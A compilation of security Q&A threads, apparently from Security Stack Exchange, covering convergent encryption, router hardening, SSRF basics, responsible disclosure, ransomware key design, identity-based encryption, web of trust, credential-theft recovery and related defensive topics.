Edit: found a worrying tweet : https://twitter.com/#!/csoghoian/status/113753932400041984, encryption key per file would be derived from its hash, so definitely looking like not the place to store your torrented film collection, not that I would ever do that.

Edit2: We actually guessed it right, they used so called convergent encryption and thus someone owning the same file as you do can know wether yours is the same, since they have the key. This makes Bitcasa a very bad choice when the files you want to be confidential are not original. http://techcrunch.com/2011/09/18/bitcasa-explains-encryption/

Edit3: https://crypto.stackexchange.com/questions/729/is-convergent-encryption-really-secure have a the same question and different answers

I haven't thought through the details, but if a secure hash of the file content were used as the key then any (and only) clients who "knew the hash" would be able to access the content.

Essentially the cloud storage would act as a collective partial (very sparse, in fact) rainbow table for the hashing function, allowing it to be "reversed".

From the article: "Even if the RIAA and MPAA came knocking on Bitcasa’s doors, subpoenas in hand, all Bitcasa would have is a collection of encrypted bits with no means to decrypt them." -- true because bitcasa don't hold the objectid/filename-to-hash/key mapping; only their clients do (client-side). If the RIAA/MPAA knew the hashes of the files in question (well known for e.g. specific song MP3s) they'd be able to decrypt and prove you had a copy, but first they'd need to know which cloud-storage object/file held which song.

Clients would need to keep the hash for each cloud-stored object, and their local name for it, of course, to be able to access and unencrypt it.

Regarding some of the other features claimed in the article:

"compression" -- wouldn't work server-side (the encrypted content will not compress well) but could be applied client-side before encryption
"accessible anywhere" -- if the objid-to-filename-and-hash/key mapping is only on the client then the files are useless from other devices, which limits the usefulness of cloud storage. Could be solved by e.g. also storing the collection of objid-to-filename-and-hash/key tuples, client-side encrypted with a passphrase.
"patented de-duplication algorithms" -- there must be more going on than the above to justify a patent -- possibly de-duplication at a block, rather than file level?
the RIAA/MPAA would be able to come with a subpoena and an encrypted-with-its-own-hash copy of whatever song/movie they suspect people have copies of. Bitcasa would then be able to confirm whether or not that file had been stored or not. They wouldn't be able to decrypt it (without RIAA/MPAA giving them the hash/key), and (particularly if they aren't enforcing per-user quotas becausrer they offer "infinite storage") they might not have retained logs of which users uploaded/downloaded it. However, I suspect they could be required to remove the file (under DMCA safe harbour rules) or possibly to retain the content but then log any accounts which upload/download it in the future.


Ways to configure a router I have recently got into cyber-security and I have been looking at ways to configure a router. However, the sources I have found have been on how to configure a router and not things you can do to configure the router.

So far, I have found out that it should use WPA2-AES encryption as well as it should have a strong password. In addition, you can also configure it to only accept connections from known computers.

Are there other ways in which it can be configured?

Change your default admin password to something secure
Use WPA2 for wifi access with a very long password which should be periodically
   changed.
Set up MAC address filtering to allow only devices you trust.
Disable remote admin tools
Disable secondary SSIDs you are not using if they are supported
Turn off SSID broadcast
Turn off Wifi Protected Setup
Some sources recommend changing the SSID to something to mislead
   attackers, so if your router is Belkin, change your SSID to 'Cisco'
Enable the firewall if available
Keep your firmware up to date
Review logs periodically for suspicious activity

You can use servcies such as Shields Up to run basic testing of your network
https://www.grc.com/shieldsup


Can you provide loss values on security breaches? When someone says "why do we need to spend so much money and effort on security, we need to  focus on market share first and once someone finds a problem we will fix it", I would like to have a list of security breaches which involved severe financial or reputation loss - measured in dollars rather than bits and bytes - to help me argue the case for security.

Can you provide actual values, or accepted calculations on losses from security breaches?

The return on investment for security measures is really hard to show. Companies that were compromised by NIMDA or CodeRed had their losses published. Here has a good discussion about it: Schneier on Security: Security ROI


How can we prevent and detect any unauthorized screen capture and recording applications? We may all have come across capturing and recording our own screen to save some information for ourselves, but how about other people doing so without asking?

Let's have an example here: an attacker somehow gained the access to your device (could be pc or mobile) through malware which bypassed or altered the access control. It silently recorded and captured all the information displayed on your screen, and sent them back to the attacker. Moreover, for mobile devices, the attacker may record your passcode pattern or the unlock process (like typing in the PIN). So,

Is this kind of attack possible?

Is there any solution to defend such an attack? And

What if the attacker combines it with other tools like keylogger etc. to perform a more comprehensive attack?

Short answer: this is a classic form of spyware/malware.

It is not so common anymore because the data it collects (images) has to be interpreted by a human, so it's not efficient.

Lots of technical controls are in place to prevent this. For instance, the login screens for an operating system are run outside of the user's operating space, so this type of malware cannot typically record you logging in (there are variants that can actually do this, but I have not heard of them in a long while).

Anti-malware software is designed to look for this type of behavior and will alert you about it. I'm not sure how complete the coverage is on this by the vendors.

Looking for unknown processes in the background and inspecting traffic going to unknown or unexpected locations helps to detect this sort of infection.

But as I said, it's just not efficient to carry out this type of attack, not when you can make billions with dodgy emails that have an infected PDF that installs ransomware.


Wireless client isolation - how does it work, and can it be bypassed? Many SOHO routers these days support a feature called "wireless client isolation", or similar.  What this is supposed to do, in principle, is to limit the connectivity between wireless clients connected to the AP.  Wireless clients can talk to the LAN, and reach the Internet if such connection is available, but they cannot communicate with one another.

How is this achieved?  Are there any particular weaknesses which would allow this to be easily bypassed?

The implementation that I've seen of this is done by fiddling with the MAC forwarding table on the access point. Since the access point simply acts as a network bridge, it is fairly well suited to this kind of task. At the switching layer it is already collecting all of the heard (sometimes called learned) MACs and which interface it can be found on.

The logic looks kind of like this:

Access Point receives a packet over the wireless interface
Bridging subsystem examines packet for destination MAC
If destination MAC is in the learned switching table for wireless interface -> DROP
Otherwise forward packet via wired interface

Because of the way network bridges work I see this being fairly difficult to trick the access point into forwarding a packet to a client in spite of the isolation. Your best bet would be to attempt to talk directly to the other client, as if you were operating with an ad-hoc network.


Analyzing wireshark results (openvpn) I signed up to Mullvad for VPN service, and manually run OpenVPN from my Linux box.
I rebooted my computer and make sure not to start any OpenVPN service. Yet when I did a Wireshark analysis I am seeing this OpenVPN result. I did a check on whois for the IP address and discovered they belong to Mullvad!

Here is a screenshot with my IP blanked:

I ran ps waux on Linux and found nothing related to OpenVPN or Mullvad running. But what does this result mean? Could Mullvad by trying to connect to my box? Is it trying every port because the list was long?

How can I proceed in order to maintain myself secure?

It looks as though you're rather secure. Your machine is rejecting connections on those ports.


Passing user identity to an internal REST service I have two services - A and B - which both expose a HTTP/REST API. Service A is exposed to the public and authenticates its users. It delegates part of the workload to service B which also has to know the identity of the authenticated user and perform some access control. Service B has no public IP address and only accepts connections from services in the same internal network (service A being one of them).

As I consider the connection between A and B trusted (they are both behind two firewalls), I simply pass the user identity in a custom HTTP header. Are there vulnerabilities in this setup I'm not thinking of? Are there standard ways of passing the user identity instead of using a custom HTTP header?

I have almost exactly the same issue with two services of mine.

I'm taking a slightly different route to solve it due to the following train of thought: What happens if due to some misconfiguration of the firewall or a router, service B suddenly becomes available on the internet, or on the internal network of my company? We've had firewall rules change without being told about the changes in the past; so I've grown careful.

Here's what I'm currently doing: Service A and B share a secret password which only they know. I use it to build an hmac over a small json structure (my "access token") on service A which basically contains the user name of the authenticated user, a nonce and an expiry date. I pass the access token and the hmac to service B (as a long base64-encoded string in the standard Authorization header). Service B then validates the access token using the hmac and if it checks out, it can be reasonably sure that the access token it received was from service A. All that remains is to make sure that the access token has not expired.

You could do the same with a JWT, and with public key cryptography to digitally sign the access token, instead of what I'm doing with an hmac.

This isn't so much different from what you're doing - building my access token (just once, when the user logs in on service A) isn't much work, and neither is verifying the token on service B, but it does add some additional security, compared to your solution.

Just like you, I'd be interested in answers which describe a generally accepted way of solving this issue - I've always thought my solution was a bit too home-grown, and might suffer from problems I can't immediately see.


Server Side request forgery (SSRF) explanation I am looking to gain a better understanding of the SSRF vulnerability.
I have googled and watched YouTube tutorials but they all show advanced techniques that are difficult to understand.

I am curious as to how to connect to a website with my localhost server, and once connected, how I can then read directories of that website from my localhost.

If I use Windows 7 can I test the SSRF vulnerability?

Server side request forgery is a vulnerability where a server connects to an arbitrary host supplied by the attacker.

When testing it is useful to have a host available on the internet where the server can connect to. This will typically not work with your home or work PC, because it is behind a firewall or behind NAT. If the server connects to your IP address, your router will block the connection. Ideally you would have a server with a public IP address, such as a VPS with a hosting provider. Alternatively, you could configure port forwarding in your router.

An alternative is to use a third party service. For example, the Burp Collaborator is a server that will notify you of any interactions with it.

Note that it is not necessarily a vulnerability if a remote server connects to your server. The vulnerability comes if the server exposes information from the local network it is in. Then you can exploit the "server side" of SSRF to navigate the network that you can't normally reach.


How to best use JavaScript to encrypt client side so the server never sees it? I don't want the server to ever see the raw input and would rather have the client do the encryption and then pass the data (over https) to the server for storage.

If I use a JS library to AES encrypt it what other things do I have to look out for?

When this question was asked in 2014, the Web Crypto API did not yet exist.  But, now that we have the Web Crypto API, you may want to consider using it instead of one of the libraries referenced in the other answers on this page, for doing in-browser crypto.  The Web Crypto API has a CSPRNG implementation, as well as implementations of most common symmetric encryption, asymmetric encryption, hashing, and HMAC functions, all of which you can call from javascript.
However, this still doesn't solve the age-old 'chicken-and-egg' problem when it comes to browser-crypto:  `If you can't trust the server with your secrets, then how can you trust the server to serve you secure code?'


Misconfiguration security vulnerability disclosure I accidently discovered a misconfiguration (?) security vulnerability:
Workstation managing system is publicly exposed with default credentials. admin/admin

The system contains arround 2k workstations with functionality such as software deployment, wiping, remote device control, etc.

I really would like to inform the company, not sure what is the best way to do that?

Is it okay to use for example hackerone or some similar service?
Should I just send the email? If so to whom?

I am not sure if by trying that login combination I did not violated any laws? I found the system by a search engine, when was looking for the product demo.

Edit:
I researched some topics about disclosing. Basically all of them recommends to contact the vendor in some polite matter. The thing is that everything seems to be ok from the vendor and product side, the user simply did not comply with security best practices by changing the credentials

Edit:
I do not believe this is duplicate of:
How to disclose a security vulnerability in an ethical fashion?

I think that for the following reasons:
It is not related to a bug of a vendor application affecting multiple customers.
It is basically a misconfiguration of a system, which allows exposure of underlying system to the public. Everything is ok with the product they are using.
Since it was accidental, possibly there might be a different law regulations prohibittng to even accessing their system, depending on which country the system is hosted in. This is simply a moral question, cause in my personal opinion it feels right to notify the affected company, better than letting it slide

You should contact the respective CERT (computer emergency response team) for your country and let them know about this issue, they will handle all the rest.

Don't contact them directly, for that could get you into serious legal trouble.


Why does WannaCry use different AES keys to encrypt different files on host? I have a question after reading the discussion here: Ransomware encryption keys

So I understand the process of WannaCry encryption now, thanks to the accepted answer given by the community on the security.stackexchange page linked above. However, what I do not understand is why generate a different AES key to encrypt each file on victim's computer? The attacker could generate just one AES key and encrypt all files using that and then protect that key using the mechanism discussed in the page linked.

Why use different AES keys? Does it have any cryptographic, strategic, or operational advantage at all for the attacker? Or is it out of pure paranoia?

The criminals who created the ransomware can't be consulted for comment.  But we can look at the tradeoffs involved.

By using different keys for different files it allows the attackers to decrypt the files on a file-by-file basis, without providing the key to ALL the files.

I don't have a reference for this right now, but I recall that the ransomware perpetrators will offer to decrypt one file as a demonstration that they have the keys (one might call this "good faith").  They can only do this if each file is encrypted with a different password.  If all files were encrypted with the same password, decrypting one file would allow ALL files to be decryped.


Are Windows security updates audited? An IT guy said that in his company, the Windows updates (small security updates that are downloaded automatically by the Windows autoupdate) are checked by the auditor. ie: the auditor checks if every system in the company has these updates installed.
I couldn't believe that auditors actually check these details. Do they?

As I understand it (I am not a lawyer and I am not a compliance officer so take what I say with a grain of salt), there are interpretations of SOX compliance that require that a company have mechanisms in place to ensure that all machines are up-to-date with patches.  So it wouldn't surprise me in the least if they are audited.


How can I argue against: "System is unhackable so why patch vulnerabilities?" An operating system has reached End of Support (EoS) so no more security patches are coming for the OS ever.  An embedded device running this OS needs to be updated to a newer version.  However, the engineers who designed the original product feel that the machine is not hackable and therefore does not need to be patched.  The device has WiFi, Ethernet, USB ports and an OS that has reached EoS.

The questions I am asked daily:

We have application white-listing so why do we need to patch vulnerabilities?
We have a firewall so why do we need to patch vulnerabilities?

And the comments I get:

Our plan is to harden the system even more.  If we do this then we should not have to update the OS and continue patching it.  No one will be able to reach the vulnerabilities.  Also we will fix the vulnerabilities in outward-facing parts of the OS (even though there is no ability for them to patch the vulnerabilities themselves) and then we can leave the non-outside facing vulnerabilities unpatched.

I have explained in detail about Nessus credentialed scans. I am not sure how to get my point across to these engineers.  Any thoughts on how I can explain this?

UPDATE:  The system is being patched.  Thanks for everyones responses and help.

The trouble with the situation (as you are reporting it) is that there are a lot of assumptions being made with a lot of opinions. You have your opinions and you want them to share your opinions, but they have their own opinions.

If you want to get everyone to agree to something, you need to find common ground. You need to challenge and confirm each assumption and find hard data to support your opinion or theirs. Once you have common ground, then you can all move forward together.

You have whitelisting: great, what does that mean? Are there ways around it? Can a whitelisted application be corrupted?
What does the firewall do? How is it configured? Firewalls mean blocked ports, but they also mean allowed ports. Can those allowed ports be abused?
No one has access? Who has access to the device? Are you trusting an insider or the ignorance of a user to keep it secure?
What happens if someone gets local access to the device? How likely is that?

As an information security professional, your job is not to beat people over the head with "best practices" but to perform risk analyses and design a way forward that limits risk under the risk threshold in a cost-effective way. You have to justify not employing best practices, but if the justification is valid, then it's valid.


HTTPS Sensitive Information and Caching I have a website where I need to share a sensitive key with the user. Of course, I'm using HTTPS on the page. The key is put into the HTML server-side in ASP.NET. My concern is, if the user's computer was compromised, could the contents of the user's cache be read and the key found in the browser cache? Is HTTPS cached content encrypted on disk? Is it even cached?

Update

I just wanted to clarify my question. One of the posters said that if the user's computer has malware that the game is over. First, I was referring to a laptop that's stolen rather than malware. I have in mind those incidents you hear on those news of "lost" laptops that have credit card info, SSNs, etc on them.

The key that the user is accessing over HTTPS is used with a program that I am confident is secure against attack of the data at rest. Even if the computer itself was compromised, the data the key protects is secure. I just want to cover all of the bases.

What is cross-browser standard practice when you have sensitive information that you're trying to protect with HTTPS that you don't want cached?

HTTPS content can be cached by the browser, and apparently will be cached, unless explicitly instructed otherwise by the server. See this answer for details and links.


Nessus vs third-party scans As part of our PCI-DSS compliance process we get scans done by a third party. Based on the form and wording of the output, it's pretty clear they're using Nessus for most of their heavy lifting. Same as we use internally, actually.

What is the value-add for having an external entity do the scans for us? Do they tune them differently?

Taking into consideration the fact that you are doing these scans in the context of PCI-DSS compliance, your value-add in relation to compliance can be summed up by my personal favorite saying:

  AviD's Law of Regulatory Compliance:

  "PCI compliance reduces the risk of the penalties of non-compliance".

In other words - the value-add of having an external scanning vendor over your internal tools (even if its the same tools), is that that is what the regulation requires.
That's why there's such a popping ASV business - their income is pretty much ensured by PCI. Take a look at McAffee's HackerSafe program (or did they change the name?): completely worthless from a security point of view, but equally valuable from a compliance point of view - since an ASV scan = ASV scan.

Now, if you want to get additional security value out of your whole compliance program, aside from simply "compliance", well that's another issue. (For elaboration on this, see my answer on "Does PCI compliance really reduce risk and improve security?"
The other answers here point you in the right direction, but one simple truism: Any vendor that simply runs tools, is not worth the price of coffee to have a sales meeting with.
Cheaper to get your own tools and run them yourself - since you can usually ignore most of the results, anyway :).


Identity-Based Encryption - how secure is it? I was always taught never to invent my own crypto algorithm, and never to trust someone who has a proprietary algorithm.

I'm looking at Voltage SecureMail, which uses IBE (identity-based encryption) and I'm way over my head trying to work out whether this is very clever, or if it's snake oil.

The IBE algorithms it uses are specified in RFCs (RFC 5091 - Identity-Based Cryptography Standard (IBCS) #1: Supersingular Curve Implementations of the BF and BB1 Cryptosystems, RFC 5408 - Identity-Based Encryption Architecture and Supporting Data Structures, RFC5409), but I know I'm not qualified to assess the quality of a cryptosystem.

I'd be interested in a commentary (or, more realistically a link to a commentary) by a cryptologist on IBE, how secure the cryptosystem is, how well designed the Voltage implementation is, how tied I am as a consumer to Voltage as a corporation, or whether I can go to a competitor or to open-source software that implements the same cryptosystem, etc.

Frankly, I'm probably underqualified to read such, but I'm the one with the job, so I get to learn about crypto.

(Warning: mathematics ahead. But there is a summary at the end.)

IBE, as implemented by Voltage, uses a pairing. Known efficient pairings work over specially crafted elliptic curves (the two main pairings are Weil pairing and Tate pairing, and there exist some variants of the latter which offer performance boosts in some situations). These pairings were discovered by mathematicians in the 1950s; application of pairings to cryptography was first hinted at by Miller in the 1980s.

Initially, pairings were thought of ways to attack elliptic curve systems -- by reducing discrete logarithm on elliptic curve to discrete logarithm into a more "easy" field. The critical parameter is the "embedding degree", which I will note k. For a normal n-bit elliptic curve, discrete logarithm is hard up to 2n/2 operations, hence a 256-bit curve is enough for the standard "128-bit security". For a given curve, a pairing can be defined, which can be used to transform a discrete logarithm problem on the curve into a discrete logarithm problem in a multiplicative subgroup of a field of kn bits. The k parameter depends on the curve which is used. E.g., if you have a 256-bit curve with a very low k=2 embedding degree, then discrete logarithm on that curve is no harder than discrete logarithm in a multiplicative subgroup of a 512-bit field, which is much easier (a 530-bit discrete logarithm was performed in 2007).

Fortunately, a "normal" curve will have a very high embedding degree; a typical 256-bit elliptic curve will sport an embedded degree around 2255, i.e. much greater than 2 or 3. Selection of an elliptic curve according to the relevant standard (ANSI X9.62-2005) involves verifying that k is no lower than 100, which is invariably true with an overwhelming probability for a randomly selected curve anyway. This is called the "MOV condition".

An efficient pairing requires that kn is not too big, because the paring result is a kn-bit value and we want to do some relatively heavy computations with such values (modular exponentiations...). Hence, a pairing for IBE (not for attacks) needs a "weakened" curve with a very low embedding degree. The scheme described in the Boneh-Franklin article (2003) uses a 512-bit elliptic curve with the special property of being "supersingular", which implies (here) an embedding degree k=2 (thus the resulting security is that of discrete logarithm in a 1024-bit field, roughly similar to 1024-bit RSA).

Summary: the mathematical details above are meant to show where IBE stands:

The first practical implementation is described in an article from 2003.
That implementation works on elliptic curves with a special structure which was initially thought of as a weakness.
Use of elliptic curves for cryptography dates from the 1980s. Elliptic curves are deemed secure because nobody could find any internal structure which could be exploited to speed up discrete logarithm on elliptic curve -- except pairings, which are fortunately inapplicable to "normal" curves. But for IBE, we need a "weak" curve.

So IBE security, in practice, stands on a careful dosage of weakness injected in an elliptic curve, and the details were defined less than ten years ago. This is not an awful lot of time. In comparison, research on integer factorization can boast a whooping 2500 years of history (at least) so when we claim that factorization must be a hard problem, we have some facts to back that assertion up. Accumulated research time is the main, and mostly the only, metric by which cryptographic risk can be estimated.

Hence, IBE is a bit young to my taste for unchecked general deployment. Yet, you can do much worse than following Dan Boneh's steps and chances are that if (when) you will get hacked, it will not be due to any mathematical issue in pairings. Also, pairings are fun (for a mathematician, that is).

A good reading on pairings is Ben Lynn's PhD thesis (his advisor was Boneh, by the way).


How to implement a Web of Trust? How to implement a Web of Trust, or something similar?

Alice get a public and a private key from the RSA guy.

Bob need to send to Alice a nuclear secret code (or his babysiter's phone number).

Bob ask for Alice's public key on the server, but the evil Eve intercept the request and send her key instead.

How to avoid those situations?

Someone from StackExchange on Crypto told me:

  Linking identity to public keys is out of scope for pure crypto.
  Cryptography can't know who you mean with "Alice". Exchange it in RL,
  have somebody else you already trust tell you(either web of trust or
  CA),...

Well, how do I implement that (in PHP/MySQL) ?
Can someone explain to me how to implement this or how this is working so I can implement it?

Thank you

The basic idea of the web of trust, as used in PGP to send messages, is peer validation:

Alice knows Bob, Bob knows Cindy, but Alice does not know Cindy. Cindy wants to send Alice something privately, but first needs to be "introduced" to Alice.

Cindy begins by first asking Alice for her public-key certificate. Alice sends it; it's public information, so she can broadcast it to the world. Included on this one certificate would be a number of digital signatures, each from a person Alice knows, including Bob, who is vouching for the accuracy of this certificate. Each signature is unique to the combination of the certificate and the signer, and the creation of a signature requires a private key known only to that signer. Once created, anyone who knows the public key matching the signer's private key can use that key to verify that the signature matches both the message and the signer (or that it doesn't).

As such, the evil Eve cannot hope to alter the message in such a way that the signature(s) would still match, nor can she change the signatures themselves, without having compromised the private keys of all signers. The worst she can do, given that someone else already knows and is vouching for Alice's identity, is corrupt the certificate causing Cindy to reject it, preventing the intended communication.

Alternately, Cindy could ask all her friends if they know Alice, and any that do, including Bob, can each forward Cindy a copy of Alice's certificate with only their signature on it. This reduces the number of signatures that have to be included on a single certificate to provide a good chance for Cindy to recognize one; since Cindy's asking her own friends, who would only respond if they did indeed know Alice, Cindy only receives signatures from people she knows and ostensibly trusts. But, it could cause a flood of data to be sent to Cindy if Cindy and Alice have a lot of mutual friends.

In either case, Cindy scans these signatures for signers that she knows. She find's Bob's name, validates his signature of this certificate, and now knows that Bob thinks this is the real certificate for the real Alice. Cindy now has the choice to trust Bob implicitly, and so trust Alice's certificate herself on his word alone, or to partially trust Bob, and look for other people she knows who have signed Alice's certificate. If she finds enough people she partially trusts, or at least one person she implicitly trusts, she can trust Alice's certificate by extension. This is known as the "trusted introduction" and is central to the web of trust.

Once Cindy decides to trust the certificate, she uses its public key to encrypt the key to a symmetrically encrypted message that has also been signed by Cindy with her own certificate. She then sends it to Alice. Alice doesn't know Cindy, and so repeats a similar process that Cindy did to obtain, validate and decide to trust Cindy's public-key certificate (which she does, because Bob has signed Cindy's certificate and Alice trusts Bob implicitly). She uses her own private key to decrypt the message key, then uses the message key to decrypt the message, and finally uses Cindy's public key to validate the message's signature.

Now, that's with three people who are already partially "entangled" in the web and so can trust each other based on peer recommendation. For two people with no mutual trusted friends, such as when a web is just starting or when a new person who's never used PGP before tries to join, this automatic peer recommendation simply won't work; there are no peer recommendations to speak of (there may not even be peers). To spin the first few threads of this web properly, the people wishing to form it must exchange certificate files with each other inside an environment that is inherently trusted (known as a "key signing party"). Otherwise the evil Eve can intercept the certificates being exchanged, replace them with forged certificates, and she becomes a "man in the middle".

The oldest, simplest way to avoid this is simply to meet in person and physically exchange certificate files with each other. Other possibilities, such as secure drop-boxes, exist, but all Eve needs is one second of unrestricted, undetected access to the physical storage of the key to screw it all up.


Help! My information has been stolen! What do I do now? This is an attempt to ask a canonical question to expand upon another post with a similar name. The goal is to create something helpful that can be used as a duplicate when non experts ask about personal credentials being stolen.

Let's say that I have determined beyond doubt that a malicious party had root access to my computer.  Lets assume that the computer has since been recovered (virus free) ... but it is likely that any personal information on the box was stolen.

What do I do now?  How do I protect myself?
How secure are auto-saved passwords in a browser?
How secure are passwords that have been saved in a password manager?
Do passwords really need to reset for all accounts?
Do all Credit Cards used with this computer need to be cancled?
What about archived Tax Paperwork (with SSN & Bank Info)?
Do friends and other contacts need to be notified to prevent them getting scammed by the attacker pretending to be me on Social Media?
What other attack vectors should be considered.

How secure are my auto-saved passwords in my browser?

Terribly insecure.  These passwords are trivial to retrieve.

How secure are my passwords that have been saved in a password manager?

Not very secure at all.  If someone had root access to your computer, it's trivial to implement a key logger, or even a plugin to your browser to snarf them before they go out.

Do I really need to reset every password on every account I own?

Only the ones you care about.  I likely wouldn't reset my password to adobe.com that I had to register to just to download Adobe Reader.  But I would reset my bank and email passwords.  Email is of course used to reset passwords.  Turn on 2 factor authentication for your bank, email, and anything else that's important.  These are all judgement calls about what you consider valuable and what's an acceptable risk.  YMMV

Do I need to cancel all Credit Cards I have ever used on that computer?

Credit Cards have fraud protection built in.  I myself have had at least 3 incidents where there's been fraud on my CC accounts in the past decade.  I never paid a dime for these events, and they went away easily.  If you want to avoid the hassle of having to go through this process it's best to cancel the cards, but this is likely the least of your concerns.

What about my archived Tax Paperwork (w/ SSN & Bank Info)?

There's little you can do about your SSN.  You can change your bank account numbers relatively easily, though with some hassle.  Given the threat, I'd recommend going through the hassle.

Do I need to notify my friends to prevent them getting scammed by the attacker pretending to be me on Social Media?

If you change all the passwords on social media, change all your reset questions, and change all your email passwords, it's not terribly likely someone is going to be able to impersonate you.

What other attack vectors should be considered.

Primarily identify theft.  People applying for loans/credit cards/cell phone service, etc under your name.  This is a question in-and-of itself, that deserves another question entirely.


Does the client and server succeed in shaking hands using certificates that are issued by different CA? Client certificate is issued by CA one,
server certificate is issued by CA two,
both CA one and CA two are  root CA.
Can client and server authenticate each other in tls?

Yes
There is nothing in the TLS protocol that forbids this.
For the load balancer that I have experience with, the Citrix NetScaler, you manually configure what CA(s) to accept for the client certificates.
So you might have a cerificate for the server that's bought from a regular public CA and you might configure the accepted client certificate to be from one specific internal CA that you run yourself.
That way you can issue the client certificates yourself and infuse them with data fields that you care about. Such as e.g. client's Windows username or e-mail address or something like a flag "is member of accounting department".
The server has no way of communicating "that's a nice certificate you just showed me, unfortunately it's not from the CA that I was looking for". Instead the server just has to abort the handshake - leaving the client guessing why this didn't work. (I think that's how it works at least.)
(There is a TLS extension for the other direction. It allows the client to tell the server "Okay, I only know these three CAs: x, y and z. You better have a server certificate signed by one of them." It's called "Trusted CA indication" See: https://tools.ietf.org/html/rfc6066#section-6 -- But I think it only works for clients to tell servers about trusted CAs. And not the other way around. Unsure.)


Penetration Testing Criteria I'm a beginner-level penetration tester, I've noticed that after the pentesting, you just report the vulnerabilities you've found and the possible exploit points that you've discovered. Using the common vulnerabilities posted in vulnerabilities DB is so useful, but is there any "CRITERIA" to distinguish between good and bad pentester?

Good pen testers tend to have three qualities: an attention to detail whilst following a flexible process so that nothing is missed, patience to keep going at something when they have a gut feeling that there's 'something there', and a lot of experience (which is how they get the 'gut' feeling in the first place).

Poor pen testers follow a rigid checklist process (regardless of findings during the test) and use basic tools and simply report the tool output back to the client. Good pen testers can review findings and understand and discuss the real-world risk associated with vulnerabilities.

Poor pen testers don't understand all of the implications of the vulnerabilities their tools discover. Good pen testers have seen, or can foresee, how one vulnerability can be exploited further, or how multiple vulnerabilities can be combined to create a bigger risk. Good pen testers can also recommend compensating technical controls other than the most immediate recommendations.

Poor pen testers are often opaque in their process. Good pen testers are happy to show their working, their logs, and also (perhaps more importantly) discuss what they haven't tested, and why.

Poor pen testers sometimes believe, and even tell their clients, that a clean test result means the systems they are testing are 'secure'! Good pen testers also understand the role of pen testing as part of an overall security governance programme and that their own work may not have 100% coverage, and are only a snapshot of security status at the time of testing.


TimThumb security alternative or fix? "An image resizing utility called timthumb.php is widely used by many WordPress themes....The utility only does a partial match on hostnames allowing hackers to upload and execute arbitrary PHP code in your timthumb cache directory... Also recursively grep your WordPress directory and subdirs for the base64_decode function and look out for long encoded strings to check if you’ve been compromised."

"NOTE: timthumb.php is inherently insecure because it relies on being able to write files into a directory that is accessible by people visiting your website. "
Source

Comments say that by upgrading to version 2, it becomes harder to exploit the code. Code

It seems the only directory that requires 777 permission is cache, apart that all the folders/files should be default value.

I have added the script to my code-igniter site for image resizing. Should I feel safe using the script at the moment, or should I look for a alternative?

The upgraded version of timthumb has many security mechanisms in place to prevent those vulnerabilities and the code has been more closely inspected after the discovery. I am personally using it on several sites, and would not think it's any less secure than any other alternative. However, it of course depends on the alternatives and I am not aware of any in particular.

There are no guarantees to security. There's always a chance that a new vulnerability would be discovered. But that applies to any product. I tend to think that products that did experience a security issue are likely to take security into account more so than those who didn't experience any issue. That's of course highly individual to the people, product, the environment and so on, so not something to rely on.

Instead I would focus on setting timthumb as securely as possible for your environment. For example, make sure no external image sources are allowed. In such configurations, I believe even the old version of timthumb wasn't vulnerable.


software to keep a list of IP that try to access ssh over a set of rules and feasibility i'm interested in software or set of scripts to keep a lists of filtered IP that attempt to brute-force ssh, and to label an IP as brute-forcing i would add some checks like:

one attempt to log as root is a ban
three attempts to log as a nonexistent user in a day is a ban
a port scan is a ban (this i know there are tools for this like psad)

i'm wondering if there is a tool that allows this, also, you think its feasible to keep such an ever growing lists or there are better approaches for this?

Given the levels of brute-force ssh traffic i get, i'm tempted to filter everything by default and whitelist specific client ips (i don't host web so it is an option) but i would like to hear other approaches for this matter

thanks!

Fail2ban has different defaults, but I think you could probably configure it meet your desires. I personally think the 10 bad logins per IP default is more than sufficient to keep resources down and avoid locking yourself out by typo or brainfart.


How to securely store and use a password for certificate authority Other than purely memorizing a password in your head, I'm wondering what the next best thing is for storing a password and using it in a very secure environment without internet connection like a certificate authority situation. I'm wondering if you just store it on paper, or if it would be better stored encrypted on like a USB flash drive that you can then plug into the machine, enter the encryption password (which I guess you also have to encrypt, recursively haha). At some point I guess you have to memorize something. But perhaps on the machine you are using the password, it knows the decryption key, so it can decrypt your password automatically without you having to give it another meta password, and then it uses the decrypted password however it does. This would seem better than storing it on paper because it would be encrypted, but I'm not sure.

I work with a product called SAP Single Sign-On that can be used to issue certificates as a Certification Authority or use a third-party Remote Certification Authority.

Our solution for this is called Hardware Security Module that is a physical computing device that safeguards and manages digital keys for strong authentication and provides cryptoprocessing. As described in the product documentation, hardware security module (HSM) boards or other PKCS#11-enabled devices can be used as external user Certification Authorities (CAs). In this case, the external CA acts as a key store entry of the type user CA.

Therefore instead of memorizing some password, using a HSM is a secure option to manage private keys.


I accidentally downloaded a .bin file, should I be worried? I accidentally downloaded a .bin file on my computer, but I didn't click on it or open it. I did use my virus scanner to scan it (result: no threats) and then deleted it. I've read somewhere that .bin files can be extremely dangerous, but is my computer in any danger since all that happened was the file briefly existed on the hard drive (and was scanned)? I'm sorry if this is a dumb question, I know very little about computers and I'm just a bit concerned!

Simply downloading a file should not cause any problems since the file was not executed. Malware generally cannot cause any damage unless it is executed. Additionally, on Windows, .bin files are not executable by default so if you use Windows, even if you did click on it, nothing should have happened.
Although theoretically, downloading a file could result in infection (see this question), this is not something the average user should have to worry about, since such vulnerabilities usually require high technical sophistication to find and exploit (unless you are running a hopelessly outdated OS). So, as long you don't have any reason to worry about being targeted by state-level attackers or the like, you don't have any cause for concern


Repeated "Dos Attack" from remote IPs I've been having some weird issues with a home network, and it seems to me like I have some vulnerability I don't know about. To be honest, though, I'm not a big network/security guy and I kind of feel out of my depth. I'm hoping someone else can help me figure out what's going on.

For at least the last two months I have been seeing weird entries in my router logs. Basically, at least every few days, I'm seeing some entry in my router logs that says "Dos Attack" and "FIN Scan"/"Ack Scan" or "Smurf". Sometimes the remote IPs labeled as the attack source show up in whois as owned by Google, or an ad company called OpenX.

At first I thought, well, if my router only records the entries, then it must be blocking them, so it's fine. But I'm not so sure now. Take a look at a recent series of log entries for example:

[DoS attack: Smurf] attack packets in last 20 sec from ip [192.168.1.6], 15:56:22

[DHCP IP: (192.168.1.2)] to MAC address 33:33:33:33, 12:33:00
[DHCP IP: (192.168.1.2)] to MAC address 33:33:33:33, 12:32:49

[DoS attack: FIN Scan] attack packets in last 20 sec from ip [173.241.250.212], 10:45:25
[DoS attack: FIN Scan] attack packets in last 20 sec from ip [173.241.250.143], 10:45:25

[DHCP IP: (192.168.1.6)] to MAC address 22:22:22:222, 09:11:05

